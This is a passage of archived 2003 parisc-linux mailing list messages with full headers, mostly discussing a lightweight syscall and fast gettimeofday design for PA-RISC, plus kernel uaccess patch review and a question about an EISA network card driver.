>  	    case 8: LDD_KERNEL(ptr); break;		\
> -	    default: BUG(); break;                      \
> +	    default: __get_kernel_bad(); break;         \
>  	    }                                           \
>  	}                                               \
>  	else {                                          \
> @@ -81,7 +86,7 @@
>  	    case 2: __get_user_asm("ldh",ptr); break;   \
>  	    case 4: __get_user_asm("ldw",ptr); break;   \
>  	    case 8: LDD_USER(ptr);  break;		\
> -	    default: BUG(); break;                      \
> +	    default: __get_user_bad(); break;           \
>  	    }                                           \
>  	}                                               \
>  							\
> @@ -141,7 +146,7 @@
>  	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
>  	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
>  	    case 8: STD_KERNEL(x,ptr); break;			\
> -	    default: BUG(); break;                              \
> +	    default: __put_kernel_bad(); break;			\
>  	    }                                                   \
>  	}                                                       \
>  	else {                                                  \
> @@ -150,7 +155,7 @@
>  	    case 2: __put_user_asm("sth",x,ptr); break;         \
>  	    case 4: __put_user_asm("stw",x,ptr); break;         \
>  	    case 8: STD_USER(x,ptr); break;			\
> -	    default: BUG(); break;                              \
> +	    default: __put_user_bad(); break;			\
>  	    }                                                   \
>  	}                                                       \
>  								\

i like this one.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 18:45:51 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622628 28544 80.91.229.3 (22 Nov 2014 02:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:08 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 11:45:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8BFE7482E; Mon, 28 Jul 2003 11:45:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19hC4F-00042W-4o; Mon, 28 Jul 2003 18:45:51 +0100
Content-Disposition: inline
In-Reply-To: <20030728155703.GA32553@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19034

On Mon, Jul 28, 2003 at 11:57:04AM -0400, Carlos O'Donell wrote:
> > Yes we can. We can sync CR16 across CPUs within a few CPU cycles.
> > I've described this before on parisc-linux.
> 
> It might be too costly to do the sync'ing all the time, and too costly
> for a fast gettimeofday to do a sync at the polling point.
>  
> > But all the boxes we support to date have exactly one clock source.
> > The multi-cell boxes (like superdome) will have multiple sources
> > and I don't know how to handle those - maybe a "not quite so fast"
> > gettimeofday().
> 
> 
> The whole point behind fast gettimeofday is that userspace apps that
> want to do timestamping on a _very_ accurate granularity (e.g.
> nanosecondes) can get monotically incrementing numbers on each
> gettimeofday. Do we even have such a fast clock on PA? What is the
> fastest clock across the most boxes?

You know, you don't even need kernel help for this.  According to page
2-5 of the Kane book, the Interval Timer is accessible by non-privileged
instructions.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 15:04:55 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20030728190455.GE32553@systemhalted>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622628 28546 80.91.229.3 (22 Nov 2014 02:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:08 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 13:06:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C457D482E; Mon, 28 Jul 2003 13:06:53 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19hDIl-0003sS-00; Mon, 28 Jul 2003 15:04:55 -0400
Content-Disposition: inline
In-Reply-To: <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19035

> You know, you don't even need kernel help for this.  According to page
> 2-5 of the Kane book, the Interval Timer is accessible by non-privileged
> instructions.

Isn't this going to be different for all CPU's? Which means if you get
scheduled around you might see negative moving time?

c.



From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 20:14:20 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622629 28549 80.91.229.3 (22 Nov 2014 02:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:09 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 13:14:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 094CB482E; Mon, 28 Jul 2003 13:14:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19hDRs-0004sW-24; Mon, 28 Jul 2003 20:14:20 +0100
Content-Disposition: inline
In-Reply-To: <20030728190455.GE32553@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19036

On Mon, Jul 28, 2003 at 03:04:55PM -0400, Carlos O'Donell wrote:
> > You know, you don't even need kernel help for this.  According to page
> > 2-5 of the Kane book, the Interval Timer is accessible by non-privileged
> > instructions.
> 
> Isn't this going to be different for all CPU's? Which means if you get
> scheduled around you might see negative moving time?

We discussed this in the Black Thorn ... record what value you last
returned to the user and never return less than that.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Diego Francisco de Gastal Morales" <Morales@tj.rs.gov.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] eisa nic: intel 82556. Driver?
Date: Mon, 28 Jul 2003 16:55:25 -0300
Lines: 26
Approved: news@gmane.org
Message-ID: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622629 28551 80.91.229.3 (22 Nov 2014 02:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 13:55:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gama.tj.rs.gov.br (gw.tj.rs.gov.br [200.198.149.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3528A482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jul 2003 13:55:34 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by gama.tj.rs.gov.br (8.11.6/8.11.6) id h6SJtSx90565
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jul 2003 16:55:28 -0300 (EST)
	(envelope-from Morales@tj.rs.gov.br)
Original-Received: from UNKNOWN(10.200.0.36), claiming to be "npoatj36.tj.rs"
 via SMTP by gama.tj.rs.gov.br, id smtpdp2In6s; Mon Jul 28 16:55:25 2003
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: eisa nic: intel 82556. Driver?
Thread-Index: AcNVQjAOIIyvmj9BQrG2Zu7At6k2lQ==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19037

Hello,

	I just installed linux on a HP9000/D280. It's all fine, except the =
machine has two eisa fast ethernet cards, with intel 82556 chipset, and =
I can't make it work.
	I've already searched a lot the internet, this list archives, =
recompiled my kernel with various modules, and I am just about to loose =
my faith. I've found a message just like "with this chipset on eisa, =
you're out of luck".

	Is it really so? Does anyone here heard of this nic working on linux =
parisc? Without fast ethernet, I'm afraid we'll have to give up putting =
linux on it.


	Thank you in advance.


--
Diego Francisco de Gastal Morales

Equipe de Rede
Depto. de Inform=E1tica
Tribunal de Justi=E7a do RS
Porto Alegre/RS - Brasil


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 13:30:41 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20030728203041.GH22976@tausq.org>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622629 28554 80.91.229.3 (22 Nov 2014 02:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:09 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 14:30:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4590F482E
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jul 2003 14:30:38 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BA082CD2F8; Mon, 28 Jul 2003 13:30:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19038

> I'd say we should keep doing stuff on our existing gateway page until we
> exhaust it.  We've got plenty of space -- 248 instruction slots left before
> 0xE0, and a lot of space left after the syscall handler.
> 
> On a related subject, fast gettimeofday is always a popular idea.  I'm not

Why not add a flag to syscall() which indicates whether this is a "fast"
syscall or a "slow" syscall, and based on this, decide whether to do all
the register spilling, etc when entering the kernel?  Then we can
implement the atomic ops as additional "syscalls"....

I would think that there is at least some amount of logic that needs to
be there everytime you enter/exit the kernel, irregardless of whether
you are doing a "fast syscall" (i.e. no need to save the processor
state, etc) or a regular one... i would hope we don't need to have two
copies of that logic.

Carlos had some concerns that this means fast syscalls (or regular ones
perhaps) will always incur a mispredicted branch and/or extra stack
manipulations that may not be needed..... but i'm not yet convinced that
there is enough overhead to make this a problem. what do others think?

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 21:37:53 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20030728203753.GF3840@parcelfarce.linux.theplanet.co.uk>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030728203041.GH22976@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622630 28556 80.91.229.3 (22 Nov 2014 02:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:10 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 14:37:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74FEE482E
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jul 2003 14:37:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19hEkj-0005kR-Q4; Mon, 28 Jul 2003 21:37:53 +0100
Content-Disposition: inline
In-Reply-To: <20030728203041.GH22976@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19039

On Mon, Jul 28, 2003 at 01:30:41PM -0700, Randolph Chung wrote:
> Why not add a flag to syscall() which indicates whether this is a "fast"
> syscall or a "slow" syscall, and based on this, decide whether to do all
> the register spilling, etc when entering the kernel?  Then we can
> implement the atomic ops as additional "syscalls"....
> 
> I would think that there is at least some amount of logic that needs to
> be there everytime you enter/exit the kernel, irregardless of whether
> you are doing a "fast syscall" (i.e. no need to save the processor
> state, etc) or a regular one... i would hope we don't need to have two
> copies of that logic.
> 
> Carlos had some concerns that this means fast syscalls (or regular ones
> perhaps) will always incur a mispredicted branch and/or extra stack
> manipulations that may not be needed..... but i'm not yet convinced that
> there is enough overhead to make this a problem. what do others think?

I don't think enough syscalls are "fast" to make this worth doing.
Most of the things people are talking about for lightweight syscalls are
things that could/should be done in userspace ... except that you need to
be privileged to use them.  So the optimum way to solve them is to have a
special calling convention and todo the absolute minimum amount of work.
Setting cr26 is a great example because we would do it in userspace if
the architecture let us.

Does anyone have a better definition for lightweight syscall?  How about
"Cannot sleep, called frequently, must be fast"?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.0-test2-pa0: __canonicalize_f_f_c patch
Date: Mon, 28 Jul 2003 15:22:55 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030728212255.GA24918@dsl2.external.hp.com>
References: <3F056E95000057BB@ocpmta4.freegates.net> <20030728161043.GB3840@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622630 28559 80.91.229.3 (22 Nov 2014 02:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:10 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 15:22:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BABE1482E; Mon, 28 Jul 2003 15:22:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030728161043.GB3840@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19040

On Mon, Jul 28, 2003 at 05:10:43PM +0100, Matthew Wilcox wrote:
> > +EXPORT_SYMBOL(sys_wait4);
> 
> this bit seems unrelated; why do we need it?

It was missing in 2.4 module builds...but silly me can't find
which 2.4.21 module (*.o)...*sigh*.
Maybe my favorite other arches just confused me:
grundler@gsyprf11:/usr/src/2.4.21$ find -name '*.[chS]' | xargs fgrep
sys_wait4 | fgrep EXPORT
./arch/alpha/kernel/alpha_ksyms.c:EXPORT_SYMBOL(sys_wait4);
./arch/arm/kernel/armksyms.c:EXPORT_SYMBOL(sys_wait4);
./arch/parisc/kernel/parisc_ksyms.c:EXPORT_SYMBOL(sys_wait4);
./arch/x86_64/kernel/x8664_ksyms.c:EXPORT_SYMBOL(sys_wait4);

It's possible this is deprecated.

thanks,
grant


From - Thu Nov 08 21:28:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Mon, 28 Jul 2003 22:10:12 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030728211012.GC6706@sleepie.demon.co.uk>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622630 28563 80.91.229.3 (22 Nov 2014 02:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:10 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 15:27:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc1-hem11-4-cust109.lutn.cable.ntl.com [80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4C1FA482E; Mon, 28 Jul 2003 15:27:11 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 05D2A9E718; Mon, 28 Jul 2003 22:10:12 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19041

On Mon, Jul 28, 2003 at 08:14:20PM +0100, Matthew Wilcox wrote:
> On Mon, Jul 28, 2003 at 03:04:55PM -0400, Carlos O'Donell wrote:
> > > You know, you don't even need kernel help for this.  According to page
> > > 2-5 of the Kane book, the Interval Timer is accessible by non-privileged
> > > instructions.
> > 
> > Isn't this going to be different for all CPU's? Which means if you get
> > scheduled around you might see negative moving time?
> 
> We discussed this in the Black Thorn ... record what value you last
> returned to the user and never return less than that.

Not very nice if the difference between CPUs is significant.  You could
find yourself checking time on CPU A, doing some work, getting moved to
